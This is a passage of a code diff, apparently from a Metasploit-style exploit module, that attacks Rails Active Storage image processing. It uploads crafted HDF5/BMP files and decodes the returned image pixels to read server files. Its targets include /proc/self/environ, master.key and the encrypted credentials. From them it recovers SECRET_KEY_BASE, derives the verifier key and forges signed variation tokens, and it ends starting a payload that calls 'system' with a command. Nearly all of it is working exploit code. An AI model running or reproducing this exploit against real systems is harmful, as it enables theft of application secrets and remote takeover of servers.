[read[:width], read[:height]].min + candidates.select! { |candidate| candidate[:dimension] <= observed_limit } if observed_limit.positive? + errors << "#{layout[:dimension]}x#{layout[:dimension]} returned #{read[:width]}x#{read[:height]}" + next + end - segments_per_byte = BLOCKED_BYTE_SIZE * BLOCKED_BYTE_SIZE - segment_count.times do |segment_index| - position = first_offset_position + (segment_index * 24) - expected_offset = segment_index / segments_per_byte - unless data.byteslice(position, 8)&.unpack1('Q<') == expected_offset && data.byteslice(position + 8, 8)&.unpack1('Q<') == 1 - raise DataError, "Exploit data file #{name} did not contain the expected blocked external offset layout" + %i[raw sharpened].each do |mode| + pixels = restore_ascii_pixels(read, layout, mode) + if pixels.include?('Linux version ') + print_good("Selected the #{layout[:dimension]}x#{layout[:dimension]} #{mode} text-read layout (#{layout[:capacity]} bytes per request)") + return { layout: layout, mode: mode, representation: read } + end + rescue TriggerError => e + errors << "#{layout[:dimension]}x#{layout[:dimension]} #{mode}: #{e.message}" + end + rescue FlowError, TriggerError => e + errors << "#{layout[:dimension]}x#{layout[:dimension]}: #{e.message}" end - - data[position, 8] = [external_offset + expected_offset].pack('Q<') end - data - end - - def safe_png - Base64.strict_decode64(SAFE_PNG) + raise TriggerError, "Could not recover /proc/version through the selected representation (#{errors.join('; ')})" end - def file_read(artifact_name, filename, external_offset: 0, external_path: nil) - landing = landing_page - artifact_signed_id = direct_upload( - csrf_token: landing[:csrf_meta], + def file_read_once(layout, external_path, external_offset, filename) + signed_id = direct_upload( + csrf_token: csrf_token, filename: filename, content_type: 'image/bmp', - content: data_file(artifact_name, external_offset: external_offset, external_path: external_path) + content: patch_hdf5_template(layout, external_path, external_offset) ) - base_path = base_representation_path - representation_path = substitute_representation_blob(base_path, artifact_signed_id, filename) - res = send_request_cgi!('method' => 'GET', 'uri' => request_uri(representation_path), 'keep_cookies' => true) + representation_path = substitute_representation_blob(base_representation_path, signed_id, filename) + res = request_representation(representation_path) raise FlowError, 'No response while requesting the crafted representation' unless res raise TriggerError, "Crafted representation returned HTTP #{res.code}" unless res.code == 200 - decoded = PngDecoder.decode(res.body.to_s.b) - decoded.merge(path: representation_path) + PngDecoder.decode(res.body.to_s.b).merge(path: representation_path, signed_id: signed_id) end - def read_file_chunks(artifact_name, filename, chunk_bytes:, max_bytes:) - first = nil + def read_text_file(context, external_path, max_bytes:, filename:, stop_when: nil, allow_partial: false) combined = String.new.b + offset = 0 + + while offset < max_bytes + read = file_read_once(context[:layout], external_path, offset, filename) + decoded = if allow_partial && context[:mode] == :sharpened + restore_ascii_pixels_partial(read, context[:layout]) + else + restore_ascii_pixels(read, context[:layout], context[:mode]) + end + combined << decoded + break if decoded.bytes.all?(&:zero?) + break if stop_when&.call(combined) - (0...max_bytes).step(chunk_bytes) do |external_offset| - current = file_read(artifact_name, filename, external_offset: external_offset) - first ||= current - combined << current[:pixels] - break if current[:pixels].delete("\x00").empty? + offset += context[:layout][:capacity] end - raise TriggerError, "Could not read any bytes with #{artifact_name}" unless first - - first.merge(pixels: combined.sub(/\x00+\z/n, '')) + combined.byteslice(0, max_bytes).sub(/\x00+\z/n, '') end - def read_blocked_file_chunks(external_path, filename, chunk_bytes:, max_bytes:) - artifact_name = blocked_template_for_chunk(chunk_bytes) - first = nil - combined = String.new.b + def try_read_text_file(context, external_path, max_bytes:, filename:, stop_when: nil, allow_partial: false) + read_text_file(context, external_path, max_bytes: max_bytes, filename: filename, stop_when: stop_when, allow_partial: allow_partial) + rescue FlowError, TriggerError => e + vprint_status("Skipping #{external_path}: #{e.message}") + nil + end - (0...max_bytes).step(chunk_bytes) do |external_offset| - current = file_read( - artifact_name, - filename, - external_offset: external_offset, - external_path: external_path - ) - first ||= current - decoded = restore_blocked_pixels(current, chunk_bytes) - combined << decoded - break if decoded.delete("\x00").empty? + def restore_ascii_pixels(read, layout, mode) + validate_read_pixels!(read, layout) + dimension = layout[:dimension] + restored = String.new.b + (1...(dimension - 1)).step(2) do |x_coordinate| + observed = dimension.times.map do |y_coordinate| + read[:pixels].getbyte((y_coordinate * dimension) + x_coordinate) + end + column = mode == :raw ? observed : restore_ascii_column(observed) + restored << column.pack('C*') end - - raise TriggerError, "Could not read any bytes with #{artifact_name}" unless first - - first.merge(pixels: combined.sub(/\x00+\z/n, '')) + restored end - def blocked_template_for_chunk(chunk_bytes) - layout = BLOCKED_READ_TEMPLATES.find { |_artifact, candidate_chunk_bytes, _offset_position, _segment_count| candidate_chunk_bytes == chunk_bytes } - raise FlowError, "No blocked external read template for #{chunk_bytes} bytes" unless layout - - layout[0] + def restore_ascii_pixels_partial(read, layout) + validate_read_pixels!(read, layout) + dimension = layout[:dimension] + restored = String.new.b + (1...(dimension - 1)).step(2) do |x_coordinate| + observed = dimension.times.map do |y_coordinate| + read[:pixels].getbyte((y_coordinate * dimension) + x_coordinate) + end + column, consistent = restore_ascii_column_partial(observed) + restored << column.each_index.map { |index| consistent[index] ? column[index] : 0 }.pack('C*') + end + restored end - def exploit_context - if datastore['SECRET_KEY_BASE'].present? - print_status('Using operator-supplied SECRET_KEY_BASE') - representation = { path: base_representation_path } - return context_from_secret(representation, validate_secret_key_base(datastore['SECRET_KEY_BASE']), 'operator-supplied SECRET_KEY_BASE') + def validate_read_pixels!(read, layout) + dimension = layout[:dimension] + unless read[:width] == dimension && read[:height] == dimension + raise TriggerError, "Expected a #{dimension}x#{dimension} representation, got #{read[:width]}x#{read[:height]}" end + unless read[:pixels].to_s.b.bytesize == dimension * dimension + raise TriggerError, 'Representation pixel data had an unexpected length' + end + end - print_status("Reading up to #{ENVIRONMENT_MAX_BYTES} bytes of /proc/self/environ through Active Storage") - representation = try_file_read_chunks( - 'environment.mat', - 'profile.bmp', - chunk_bytes: ENVIRONMENT_CHUNK_BYTES, - max_bytes: ENVIRONMENT_MAX_BYTES - ) - environment = representation ? parse_environment(representation[:pixels]) : {} - blocked_chunk_bytes = nil - unless environment['SECRET_KEY_BASE'].present? - blocked_representation, blocked_chunk_bytes = try_blocked_file_read_chunks( - '/proc/self/environ', - 'profile.bmp', - max_bytes: ENVIRONMENT_MAX_BYTES, - include_chunk_bytes: true - ) { |read| parse_environment(read[:pixels]).any? } - if blocked_representation - blocked_environment = parse_environment(blocked_representation[:pixels]) - if blocked_environment.any? - representation = blocked_representation - environment = blocked_environment - print_status("Recovered environment bytes with the #{blocked_chunk_bytes}-byte blocked resize-tolerant layout") - else - blocked_chunk_bytes = nil - end + def restore_ascii_column(observed) + restored = Array.new(observed.length, 0) + index = 0 + + while index < observed.length + if observed[index].zero? + index += 1 + next end - end - raise TriggerError, 'Could not read /proc/self/environ through the selected representation' unless representation - - loot_path = store_loot( - 'rails.process.environ', - 'application/octet-stream', - rhost, - representation[:pixels], - 'proc_self_environ.bin', - 'Recovered /proc/self/environ bytes' - ) - begin - secret_key_base, secret_source, digest = recover_secret_key_base( - environment, - representation_path: representation[:path], - blocked_chunk_bytes: blocked_chunk_bytes + + finish = index + finish += 1 while finish < observed.length && !observed[finish].zero? + solved = solve_ascii_run( + observed[index...finish], + touches_top: index.zero?, + touches_bottom: finish == observed.length ) - print_good("Recovered SECRET_KEY_BASE from #{secret_source} and stored environment loot in: #{loot_path}") - return context_from_secret(representation, secret_key_base, secret_source, digest: digest) - rescue TriggerError => e - print_warning("#{e.message}; falling back to in-memory Active Storage verifier-key recovery") + solved.each_with_index { |value, offset| restored[index + offset] = value.round.clamp(0, 255) } + index = finish end - verifier_key = recover_verifier_key_from_memory(representation[:path]) - print_good("Recovered the Active Storage verifier key from process memory and stored environment loot in: #{loot_path}") - { - representation: representation, - verifier_key: verifier_key, - verifier_source: 'an in-memory Active Storage verifier key' - } - end + unless sharpened_column(restored) == observed + raise TriggerError, 'Representation pixels did not match the expected Vips sharpening transform' + end - def landing_page - return @landing_page if @landing_page + restored + end - res = send_request_cgi!('method' => 'GET', 'uri' => app_uri(datastore['LANDINGURI']), 'keep_cookies' => true) - raise FlowError, 'No response from the landing page' unless res - raise FlowError, "Landing page returned HTTP #{res.code}" unless res.code == 200 + def restore_ascii_column_partial(observed) + restored = Array.new(observed.length, 0) + index = 0 + while index < observed.length + if observed[index].zero? + index += 1 + next + end - doc = res.get_html_document - csrf_meta = doc.at_css('meta[name="csrf-token"]')&.[]('content') - csrf_form = doc.at_css('input[name="authenticity_token"]')&.[]('value') - raise FlowError, 'Landing page did not contain a CSRF meta token' if csrf_meta.blank? + finish = index + finish += 1 while finish < observed.length && !observed[finish].zero? + solved = solve_ascii_run( + observed[index...finish], + touches_top: index.zero?, + touches_bottom: finish == observed.length + ) + solved.each_with_index { |value, offset| restored[index + offset] = value.round.clamp(0, 255) } + index = finish + end - @landing_page = { - csrf_meta: csrf_meta, - csrf_form: csrf_form, - representation_paths: doc.css('img[src*="/rails/active_storage/representations/"]').map { |node| node['src'] } - } + rendered = sharpened_column(restored) + consistent = restored.each_index.map do |position| + expected_ascii_byte?(restored[position]) && ([position - 1, 0].max..[position + 1, restored.length - 1].min).all? do |neighbor| + rendered[neighbor] == observed[neighbor] + end + end + [restored, consistent] end - def base_representation_path - return @base_representation_path if @base_representation_path + def expected_ascii_byte?(value) + value.zero? || [9, 10, 13].include?(value) || value.between?(32, 126) + end - if datastore['REPRESENTATIONURI'].present? - @base_representation_path = select_representation_path([datastore['REPRESENTATIONURI']], 'REPRESENTATIONURI') - print_status('Using operator-supplied Active Storage representation URL') - return @base_representation_path + def solve_ascii_run(values, touches_top:, touches_bottom:) + raise TriggerError, 'Cannot solve an empty text run' if values.empty? + + size = values.length + lower = Array.new(size, -1.0) + diagonal = Array.new(size, 32.0) + upper = Array.new(size, -1.0) + right_hand_side = values.map { |value| 24.0 * value } + lower[0] = 0.0 + upper[-1] = 0.0 + diagonal[0] = 31.0 if touches_top + diagonal[-1] = 31.0 if touches_bottom + + (1...size).each do |index| + raise TriggerError, 'Sharpening equation contained a zero pivot' if diagonal[index - 1].zero? + + factor = lower[index] / diagonal[index - 1] + diagonal[index] -= factor * upper[index - 1] + right_hand_side[index] -= factor * right_hand_side[index - 1] end - landing = landing_page - if landing[:representation_paths].any? - @base_representation_path = select_representation_path(landing[:representation_paths], 'landing page') - print_status('Reusing an Active Storage representation URL found on the landing page') - return @base_representation_path + solved = Array.new(size) + solved[-1] = right_hand_side[-1] / diagonal[-1] + (size - 2).downto(0) do |index| + solved[index] = (right_hand_side[index] - (upper[index] * solved[index + 1])) / diagonal[index] end + solved + end - raise FlowError, 'Landing page had no representation path and did not contain a form CSRF token' if landing[:csrf_form].blank? + def sharpened_column(source) + source.each_index.map do |index| + previous = index.zero? ? source[index] : source[index - 1] + following = index == source.length - 1 ? source[index] : source[index + 1] + (((32 * source[index]) - previous - following) / 24.0).round.clamp(0, 255) + end + end - safe_signed_id = direct_upload( - csrf_token: landing[:csrf_meta], + def context_from_known_secret(secret_key_base) + print_status('Using operator-supplied SECRET_KEY_BASE') + signed_id = direct_upload( + csrf_token: csrf_token, filename: 'safe.png', content_type: 'image/png', content: safe_png ) - @base_representation_path = submit_safe_upload(landing[:csrf_form], safe_signed_id) + token_info = signed_token_info(signed_id) + key_generator_digest = key_generator_digest_for(secret_key_base, token_info) + { + secret_key_base: secret_key_base, + signed_id: signed_id, + verifier_key: derive_verifier_key(secret_key_base, key_generator_digest), + verifier_digest: token_info[:verifier_digest], + message_serializer: token_info[:message_serializer], + verifier_source: 'a verifier key derived from operator-supplied SECRET_KEY_BASE' + } end - def select_representation_path(paths, source) - index = datastore['REPRESENTATION_INDEX'] - raise FlowError, "#{source} did not contain a representation path" if paths.empty? - raise FlowError, "#{source} did not contain representation index #{index}" unless paths[index] + def context_from_recovered_secret(read_context) + secret_key_base, source, key_generator_digest, token_info = recover_secret_key_base(read_context) + print_good("Recovered SECRET_KEY_BASE from #{source}") + { + representation_path: read_context[:representation][:path], + verifier_key: derive_verifier_key(secret_key_base, key_generator_digest), + verifier_digest: token_info[:verifier_digest], + message_serializer: token_info[:message_serializer], + verifier_source: "a verifier key derived from #{source}" + } + end - parsed = URI.parse(paths[index]) - representation_route_index(parsed.path.split('/')) - paths[index] - rescue URI::InvalidURIError => e - raise FlowError, "#{source} returned an invalid representation path: #{e.message}" + def verify_known_secret_context(context) + transformations = { + 'resize_to_limit' => [1, 1] + } + statuses = {} + successful_route = %i[redirect legacy].find do |route| + context[:representation_route] = route + path = forged_representation_path(context, transformations) + res = request_representation(path) + next true if res&.code == 200 && res.body.to_s.b.start_with?(PngDecoder::PNG_SIGNATURE) + + statuses[route] = res&.code + false + end + return if successful_route + + context.delete(:representation_route) + details = statuses.map { |route, status| "#{route}: #{status ? "HTTP #{status}" : 'no response'}" }.join(', ') + raise TriggerError, "Signed safe representation did not return a PNG image (#{details})" end - def direct_upload(csrf_token:, filename:, content_type:, content:) - checksum = Base64.strict_encode64(Digest::MD5.digest(content)) - body = { - blob: { - filename: filename, - byte_size: content.bytesize, - checksum: checksum, - content_type: content_type - } - }.to_json + def forged_representation_path(context, transformations) + serialized = variation_payload(transformations, context[:message_serializer]) + variation = forged_variation(context[:verifier_key], serialized, context[:verifier_digest]) + if context[:representation_path] + substitute_variation_key(context[:representation_path], variation) + else + standard_representation_path( + context[:signed_id], + variation, + 'safe.png', + route: context.fetch(:representation_route, :redirect) + ) + end + end - res = send_request_cgi( - 'method' => 'POST', - 'uri' => app_uri(datastore['DIRECTUPLOADURI']), - 'ctype' => 'application/json', - 'headers' => { - 'Accept' => 'application/json', - 'X-CSRF-Token' => csrf_token - }, - 'data' => body, - 'keep_cookies' => true - ) - raise FlowError, 'No response while creating the direct upload' unless res - raise FlowError, "Direct upload create returned HTTP #{res.code}" unless res.code == 200 + def recover_secret_key_base(context) + LOCAL_SECRET_PATHS.each do |path| + bytes = try_read_text_file(context, path, max_bytes: 512, filename: 'local_secret.bmp') + next unless bytes - json = res.get_json_document - signed_id = json['signed_id'] - direct = json['direct_upload'] - raise FlowError, 'Direct upload response did not include a signed_id' if signed_id.blank? - raise FlowError, 'Direct upload response did not include upload metadata' unless direct.is_a?(Hash) + candidate = validated_secret_candidate(trim_external_bytes(bytes), path, context[:representation][:signed_id]) + return candidate if candidate + end - upload_url = direct['url'] - upload_headers = direct['headers'] - raise FlowError, 'Direct upload response did not include an upload URL' if upload_url.blank? - raise FlowError, 'Direct upload response did not include upload headers' unless upload_headers.is_a?(Hash) + environments = [] + ENVIRONMENT_PATHS.each do |path| + print_status("Reading up to #{datastore['EnvironmentMaxBytes']} bytes from #{path}") + partial = context[:mode] == :sharpened + validated_environment_secret = nil + bytes = try_read_text_file( + context, + path, + max_bytes: datastore['EnvironmentMaxBytes'], + filename: 'environment.bmp', + stop_when: lambda { |candidate_bytes| + environment_contains_usable_key?(candidate_bytes, path, context[:representation][:signed_id]) do |candidate| + validated_environment_secret = candidate + end + }, + allow_partial: partial + ) + next unless bytes + + environment = parse_environment(bytes) + environments << [path, environment] + loot_path = store_loot( + partial ? 'rails.process.environ.partial' : 'rails.process.environ', + 'application/octet-stream', + rhost, + bytes, + partial ? "#{::File.basename(path)}.partial.bin" : "#{::File.basename(path)}.bin", + partial ? "Partially recovered #{path}; uncertain bytes were replaced with NUL" : "Recovered #{path} bytes" + ) + print_status("Stored recovered environment bytes in: #{loot_path}") - upload_res = send_request_to_url( - upload_url, - method: 'PUT', - data: content, - headers: upload_headers - ) - raise FlowError, 'No response while uploading the blob content' unless upload_res - unless [200, 201, 204].include?(upload_res.code) - raise FlowError, "Direct object upload returned HTTP #{upload_res.code}" + return validated_environment_secret if validated_environment_secret + + if environment['SECRET_KEY_BASE'].present? + candidate = validated_secret_candidate(environment['SECRET_KEY_BASE'], path, context[:representation][:signed_id]) + return candidate if candidate + end end - signed_id - end + master_keys = environments.filter_map do |path, environment| + key = environment['RAILS_MASTER_KEY'].to_s.strip + [key, "RAILS_MASTER_KEY from #{path}"] if valid_master_key?(key) + end - def submit_safe_upload(csrf_token, signed_id) - res = send_request_cgi!( - 'method' => 'POST', - 'uri' => app_uri(datastore['SUBMITURI']), - 'vars_post' => { - 'authenticity_token' => csrf_token, - datastore['ATTACHMENT_FIELD'] => signed_id - }, - 'headers' => { - 'Accept' => 'text/html' - }, - 'keep_cookies' => true - ) - raise FlowError, 'No response while submitting the safe upload' unless res - raise FlowError, "Safe upload submit returned HTTP #{res.code}" unless res.code == 200 + credential_environments = environments.flat_map do |_path, environment| + [environment['RAILS_ENV'], environment['RACK_ENV']] + end + credential_environments = credential_environments.compact.select { |value| value.match?(/\A[a-zA-Z0-9_-]+\z/) } + credential_environments = (credential_environments + CREDENTIAL_ENVIRONMENTS).uniq - paths = res.get_html_document.css('img[src*="/rails/active_storage/representations/"]').map { |node| node['src'] } - select_representation_path(paths, 'safe upload response') - end + credential_environments.each do |environment| + key_path = "/proc/self/cwd/config/credentials/#{environment}.key" + bytes = try_read_text_file(context, key_path, max_bytes: 128, filename: "#{environment}_key.bmp") + next unless bytes - def substitute_representation_blob(path, signed_blob_id, filename) - parsed = URI.parse(path) - parts = parsed.path.split('/') - route_index = representation_route_index(parts) + key = trim_external_bytes(bytes) + master_keys << [key, key_path] if valid_master_key?(key) + end - parts[route_index + 1] = URI.encode_www_form_component(signed_blob_id) - parts[-1] = filename - parsed.path = parts.join('/') - parsed.to_s - rescue URI::InvalidURIError => e - raise FlowError, "Application returned an invalid representation path: #{e.message}" - end + master_key_path = '/proc/self/cwd/config/master.key' + bytes = try_read_text_file(context, master_key_path, max_bytes: 128, filename: 'master_key.bmp') + if bytes + key = trim_external_bytes(bytes) + master_keys << [key, master_key_path] if valid_master_key?(key) + end + master_keys.uniq!(&:first) - def substitute_variation_key(path, variation) - parsed = URI.parse(path) - parts = parsed.path.split('/') - route_index = representation_route_index(parts) + credentials_paths = credential_environments.map do |environment| + "/proc/self/cwd/config/credentials/#{environment}.yml.enc" + end + credentials_paths << '/proc/self/cwd/config/credentials.yml.enc' + + credentials_paths.uniq.each do |path| + encrypted = try_read_text_file( + context, + path, + max_bytes: datastore['CredentialsMaxBytes'], + filename: 'credentials.bmp' + ) + next unless encrypted - parts[route_index + 2] = URI.encode_www_form_component(variation) - parsed.path = parts.join('/') - parsed.to_s - rescue URI::InvalidURIError => e - raise FlowError, "Application returned an invalid representation path: #{e.message}" - end + encrypted = trim_external_bytes(encrypted) + master_keys.each do |master_key, key_source| + plaintext = decrypt_rails_credentials(encrypted, master_key) + next unless plaintext - def request_uri(path_or_url) - parsed = URI.parse(path_or_url) - if parsed.host && parsed.host != vhost && parsed.host != rhost - raise FlowError, "Application returned a representation URL on a different host: #{parsed.host}" + secret = extract_secret_key_base_from_plaintext(plaintext) + next unless secret + + candidate = validated_secret_candidate(secret, "#{path} using #{key_source}", context[:representation][:signed_id]) + return candidate if candidate + end end - uri = parsed.path - uri = '/' if uri.blank? - uri += "?#{parsed.query}" if parsed.query - uri - rescue URI::InvalidURIError => e - raise FlowError, "Application returned an invalid URL: #{e.message}" + keys = environments.flat_map { |_path, environment| environment.keys }.uniq.sort + raise TriggerError, "Could not recover SECRET_KEY_BASE from Rails local secrets, environment, or encrypted credentials (environment keys: #{keys.join(', ')})" end - def send_request_to_url(url, method:, data:, headers:) - parsed = URI.parse(url) - unless %w[http https].include?(parsed.scheme) && parsed.host - raise FlowError, 'Direct upload URL was not an HTTP(S) URL' + def environment_contains_complete_key?(bytes) + %w[SECRET_KEY_BASE RAILS_MASTER_KEY].any? do |key| + bytes.match?(/(?:\A|\x00)#{Regexp.escape(key)}=[^\x00]*\x00/n) end - raise FlowError, 'Direct upload URL contained credentials' if parsed.user || parsed.password + end - uri = parsed.path - uri = '/' if uri.blank? - uri += "?#{parsed.query}" if parsed.query - request_headers = headers.merge('Connection' => 'close') + def environment_contains_usable_key?(bytes, source, signed_id) + return false unless environment_contains_complete_key?(bytes) - if same_target_url?(parsed) - return send_request_cgi( - 'method' => method, - 'uri' => uri, - 'data' => data, - 'headers' => request_headers, - 'cookie' => '' - ) + environment = parse_environment(bytes) + if environment['SECRET_KEY_BASE'].present? + candidate = validated_secret_candidate(environment['SECRET_KEY_BASE'], source, signed_id) + if candidate + yield candidate if block_given? + return true + end end - send_request_cgi( - 'method' => method, - 'uri' => uri, - 'data' => data, - 'headers' => request_headers, - 'cookie' => '', - 'rhost' => parsed.host, - 'rport' => parsed.port, - 'SSL' => parsed.scheme == 'https', - 'vhost' => parsed.host - ) - rescue URI::InvalidURIError => e - raise FlowError, "Direct upload URL was invalid: #{e.message}" - end - - def same_target_url?(parsed) - target_hosts = [rhost, vhost].compact.reject(&:blank?) - target_hosts.include?(parsed.host) && parsed.port == rport && (parsed.scheme == 'https') == ssl + valid_master_key?(environment['RAILS_MASTER_KEY'].to_s.strip) end - def parse_environment(pixels) - pixels.split("\x00").each_with_object({}) do |entry, environment| + def parse_environment(bytes) + bytes.split("\x00").each_with_object({}) do |entry, environment| next unless entry.include?('=') key, value = entry.split('=', 2) @@ -735,171 +833,32 @@ def parse_environment(pixels) end end - def recover_secret_key_base(environment, representation_path:, blocked_chunk_bytes: nil) - if environment['SECRET_KEY_BASE'].present? - candidate = validated_secret_candidate(environment['SECRET_KEY_BASE'], '/proc/self/environ', representation_path) - return candidate if candidate - end + def trim_external_bytes(bytes) + bytes.split("\x00", 2).first.to_s.strip + end - local_secret = try_recovery_file_read( - 'local_secret.mat', - 'local_secret.bmp', - '/proc/self/cwd/tmp/local_secret.txt', - 256, - blocked_chunk_bytes: blocked_chunk_bytes - ) - if local_secret - secret = trim_external_bytes(local_secret[:pixels]) - if secret.present? - candidate = validated_secret_candidate(secret, '/proc/self/cwd/tmp/local_secret.txt', representation_path) - return candidate if candidate - end - end - - rails_env = environment['RAILS_ENV'].presence || environment['RACK_ENV'].presence || 'production' - master_keys = [] - environment_master_key = environment['RAILS_MASTER_KEY'] - master_keys << environment_master_key if valid_master_key?(environment_master_key) - if master_keys.empty? - key_artifacts = [] - if %w[production staging development test].include?(rails_env) - key_artifacts << [ - "credentials_#{rails_env}_key.mat", - "#{rails_env}_key.bmp", - "/proc/self/cwd/config/credentials/#{rails_env}.key" - ] - end - key_artifacts << ['master_key.mat', 'master_key.bmp', '/proc/self/cwd/config/master.key'] - key_artifacts.each do |artifact, filename, external_path| - read = try_recovery_file_read( - artifact, - filename, - external_path, - 128, - blocked_chunk_bytes: blocked_chunk_bytes - ) - next unless read - - candidate = trim_external_bytes(read[:pixels]) - next unless valid_master_key?(candidate) - - master_keys << candidate unless master_keys.include?(candidate) - end - end - - if master_keys.any? - credential_artifacts = [] - if %w[production staging development test].include?(rails_env) - credential_artifacts << ["credentials_#{rails_env}.mat", "#{rails_env}_credentials.bmp", "/proc/self/cwd/config/credentials/#{rails_env}.yml.enc"] - end - credential_artifacts << ['credentials.mat', 'credentials.bmp', '/proc/self/cwd/config/credentials.yml.enc'] - credential_artifacts.each do |artifact, filename, source_path| - read = try_recovery_file_read_chunks( - artifact, - filename, - source_path, - chunk_bytes: CREDENTIALS_CHUNK_BYTES, - max_bytes: CREDENTIALS_MAX_BYTES, - blocked_chunk_bytes: blocked_chunk_bytes - ) - next unless read - - encrypted = trim_external_bytes(read[:pixels]) - master_keys.each do |master_key| - plaintext = decrypt_rails_credentials(encrypted, master_key) - next unless plaintext - - secret = extract_secret_key_base_from_plaintext(plaintext) - if secret - candidate = validated_secret_candidate(secret, source_path, representation_path) - return candidate if candidate - end - end - end - end - - raise TriggerError, "Could not recover SECRET_KEY_BASE from environment, local secret, or encrypted credentials (environment keys: #{environment.keys.sort.join(', ')})" - end - - def try_file_read(artifact, filename) - file_read(artifact, filename) - rescue FlowError, TriggerError => e - vprint_status("Skipping #{artifact}: #{e.message}") - nil - end - - def try_file_read_chunks(artifact, filename, chunk_bytes:, max_bytes:) - read_file_chunks(artifact, filename, chunk_bytes: chunk_bytes, max_bytes: max_bytes) - rescue FlowError, TriggerError => e - vprint_status("Skipping #{artifact}: #{e.message}") + def validated_secret_candidate(secret, source, signed_id) + secret = validate_secret_key_base(secret) + token_info = signed_token_info(signed_id) + key_generator_digest = key_generator_digest_for(secret, token_info) + [secret, source, key_generator_digest, token_info] + rescue TriggerError => e + vprint_status("Skipping #{source} secret candidate: #{e.message}") nil end - def try_blocked_file_read_chunks(external_path, filename, max_bytes:, include_chunk_bytes: false) - BLOCKED_READ_TEMPLATES.each do |_artifact, chunk_bytes, _offset_position, _segment_count| - read = read_blocked_file_chunks( - external_path, - filename, - chunk_bytes: chunk_bytes, - max_bytes: max_bytes - ) - if block_given? && !yield(read) - vprint_status("Skipping blocked #{chunk_bytes}-byte read of #{external_path}: decoded bytes did not satisfy the expected content check") - next - end - return include_chunk_bytes ? [read, chunk_bytes] : read - rescue FlowError, TriggerError => e - vprint_status("Skipping blocked #{chunk_bytes}-byte read of #{external_path}: #{e.message}") - end - - include_chunk_bytes ? [nil, nil] : nil - end - - def try_recovery_file_read(artifact, filename, external_path, byte_count, blocked_chunk_bytes:) - if blocked_chunk_bytes - return try_blocked_file_read_chunks_with_chunk( - external_path, - filename, - chunk_bytes: blocked_chunk_bytes, - max_bytes: byte_count - ) - end - - try_file_read(artifact, filename) - end - - def try_recovery_file_read_chunks(artifact, filename, external_path, chunk_bytes:, max_bytes:, blocked_chunk_bytes:) - if blocked_chunk_bytes - return try_blocked_file_read_chunks_with_chunk( - external_path, - filename, - chunk_bytes: blocked_chunk_bytes, - max_bytes: max_bytes - ) - end - - try_file_read_chunks(artifact, filename, chunk_bytes: chunk_bytes, max_bytes: max_bytes) - end + def validate_secret_key_base(secret) + raise TriggerError, 'SECRET_KEY_BASE was empty' if secret.blank? - def try_blocked_file_read_chunks_with_chunk(external_path, filename, chunk_bytes:, max_bytes:) - read_blocked_file_chunks( - external_path, - filename, - chunk_bytes: chunk_bytes, - max_bytes: max_bytes - ) - rescue FlowError, TriggerError => e - vprint_status("Skipping blocked #{chunk_bytes}-byte read of #{external_path}: #{e.message}") - nil + secret end - def trim_external_bytes(bytes) - bytes.split("\x00", 2).first.to_s.strip + def valid_master_key?(key) + key.match?(/\A[0-9a-f]{32}\z/i) end def decrypt_rails_credentials(encrypted, master_key) - key = master_key.to_s.strip - return nil unless valid_master_key?(key) + return nil unless valid_master_key?(master_key.to_s.strip) parts = encrypted.split('--') return nil unless parts.length == 3 @@ -907,7 +866,7 @@ def decrypt_rails_credentials(encrypted, master_key) ciphertext, iv, auth_tag = parts.map { |part| Base64.strict_decode64(part) } cipher = OpenSSL::Cipher.new('aes-128-gcm') cipher.decrypt - cipher.key = [key].pack('H*') + cipher.key = [master_key.to_s.strip].pack('H*') cipher.iv = iv cipher.auth_tag = auth_tag cipher.auth_data = '' @@ -933,8 +892,8 @@ def extract_secret_key_base_from_plaintext(plaintext) nil end - # ActiveSupport::EncryptedFile uses MessageEncryptor with serializer: Marshal. - # Only decode the Marshal string envelope Rails emits; never Marshal.load target bytes. + # ActiveSupport::EncryptedFile may wrap the YAML in a Marshal string. Decode + # only that primitive envelope; never Marshal.load target-controlled bytes. def unwrap_marshaled_string(data) return data unless data.start_with?("\x04\x08".b) @@ -966,52 +925,113 @@ def parse_marshaled_length(data, offset) [length, offset + encoded] end - def valid_master_key?(key) - key.to_s.strip.match?(/\A[0-9a-f]{32}\z/i) + def derive_verifier_key(secret_key_base, digest) + OpenSSL::PKCS5.pbkdf2_hmac( + secret_key_base, + 'ActiveStorage', + 1000, + 64, + OpenSSL::Digest.new(digest.upcase) + ) end - def validate_secret_key_base(secret) - raise TriggerError, 'SECRET_KEY_BASE was empty' if secret.blank? + def key_generator_digest_for(secret_key_base, token_info) + candidates = if datastore['KEY_GENERATOR_DIGEST'] == 'auto' + KEY_GENERATOR_DIGESTS + else + [datastore['KEY_GENERATOR_DIGEST']] + end + digest = candidates.find do |candidate| + verifier_signature( + derive_verifier_key(secret_key_base, candidate), + token_info[:encoded], + token_info[:verifier_digest] + ) == token_info[:signature] + end + raise TriggerError, 'SECRET_KEY_BASE did not validate against the signed blob ID with the selected key generator and verifier digests' unless digest - secret + print_status("Validated #{digest.upcase} key derivation against a signed blob ID") + digest end - def validated_secret_candidate(secret, source, representation_path) - secret = validate_secret_key_base(secret) - digest = digest_for(secret, representation_path) - [secret, source, digest] - rescue TriggerError => e - vprint_status("Skipping #{source} secret candidate: #{e.message}") - nil - end + def signed_token_info(token) + encoded, separator, signature = token.to_s.rpartition('--') + unless separator.present? && encoded.present? && signature.match?(/\A[0-9a-f]+\z/i) && signature.length.even? + raise FlowError, 'Active Storage returned an invalid signed token' + end - def context_from_secret(representation, secret_key_base, source, digest: nil) - digest ||= digest_for(secret_key_base, representation[:path]) - print_status("Derived the Active Storage verifier key with #{digest.upcase} key derivation") { - representation: representation, - verifier_key: derive_verifier_key(secret_key_base, digest), - verifier_source: "a verifier key derived from #{source}" + encoded: encoded, + signature: signature, + verifier_digest: verifier_digest_for(signature), + message_serializer: message_serializer_for(encoded) } end - def digest_for(secret_key_base, path) - return datastore['KEY_GENERATOR_DIGEST'] unless datastore['KEY_GENERATOR_DIGEST'] == 'auto' + def verifier_digest_for(signature) + configured = datastore['VERIFIER_DIGEST'] + return configured unless configured == 'auto' - encoded, signature = signed_variation_parts(path) - digest = DIGESTS.find do |candidate| - verifier_signature(derive_verifier_key(secret_key_base, candidate), encoded) == signature - end - raise TriggerError, 'Could not determine the Active Storage key generator digest from the valid variation token; set KEY_GENERATOR_DIGEST manually' unless digest + digest = VERIFIER_DIGESTS[signature.length] + raise TriggerError, 'Could not determine the Active Support verifier digest from the signed blob ID; set VERIFIER_DIGEST manually' unless digest - print_status("Detected #{digest.upcase} key derivation from the valid variation token") + print_status("Detected #{digest.upcase} Active Support verifier signatures") digest end - def json_variation_payload(command) - message = { - send: ['system', command] - }.to_json + def message_serializer_for(encoded) + configured 